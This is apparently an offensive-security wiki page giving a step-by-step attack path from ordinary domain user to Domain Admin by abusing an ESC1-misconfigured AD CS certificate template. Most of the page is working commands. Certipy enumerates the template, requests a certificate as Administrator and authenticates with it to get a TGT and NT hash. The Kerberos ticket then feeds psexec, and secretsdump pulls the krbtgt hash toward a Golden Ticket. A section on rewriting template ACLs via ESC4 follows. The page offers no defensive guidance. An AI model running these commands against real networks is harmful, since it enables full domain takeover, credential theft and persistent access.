Nullpath

Attack Path: Enrollment Rights on ESC1 Template → Domain Admin Cert

attack path attack-pathactive-directoryad-csprivilege-escalation updated 13 Jun 2026 · 2 min

Attack Path: Enrollment Rights on ESC1 Template → Domain Admin Cert

The fastest domain-dominance path when AD CS is in scope: any authenticated user with enrollment rights on a misconfigured template can mint a certificate that authenticates as Domain Admin, with zero ACL abuse or lateral movement needed first.

Chain

You (any domain user, enrollment rights on Template X)
  --certipy find -vulnerable--> Template X is ESC1 (enrollee-supplies-subject + client auth EKU)
  --certipy req -upn administrator@corp.local--> cert for "Administrator"
  --certipy auth--> TGT + NT hash for Administrator
  --DCSync / psexec--> Domain Admin everywhere

Step 1 — Enumerate the CA and templates

certipy find -u user@corp.local -p password -dc-ip <dc-ip> -vulnerable -stdout

Look for a template flagged ESC1 in the output: ENROLLEE_SUPPLIES_SUBJECT set, Client Authentication/Smart Card Logon in the EKU, manager approval not required, and Domain Users (or a group you’re in) has enrollment rights. See ad-cs-esc-attacks.

Step 2 — Request a certificate as Administrator

certipy req -u user@corp.local -p password -ca CORP-CA -template VulnTemplate \
  -upn administrator@corp.local

This produces administrator.pfx — a valid certificate whose subject claims to be the domain Administrator, issued by your own legitimate (if over-permissive) CA.

Step 3 — Authenticate with the cert

certipy auth -pfx administrator.pfx -domain corp.local -dc-ip <dc-ip>

This performs PKINIT (see pkinit-unpac-the-hash) and returns both a TGT for Administrator and, via UnPAC the hash, the Administrator NT hash directly — no need to touch LSASS anywhere.

Step 4 — Use the access

# Either inject the TGT and go
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass corp.local/administrator@dc01.corp.local

# Or DCSync with the recovered NT hash for a durable Golden Ticket
secretsdump.py -hashes :<administrator_nthash> corp.local/administrator@dc01.corp.local -just-dc-user krbtgt

See dcsync, golden-silver-tickets.

If the template itself isn’t vulnerable but you have write access to it

Pivot to ESC4 — use acl-abuse (WriteDacl/WriteOwner/WriteProperty on the template object) to rewrite it into an ESC1-vulnerable config, exploit as above, then restore the original config. See ad-cs-esc-attacks ESC4.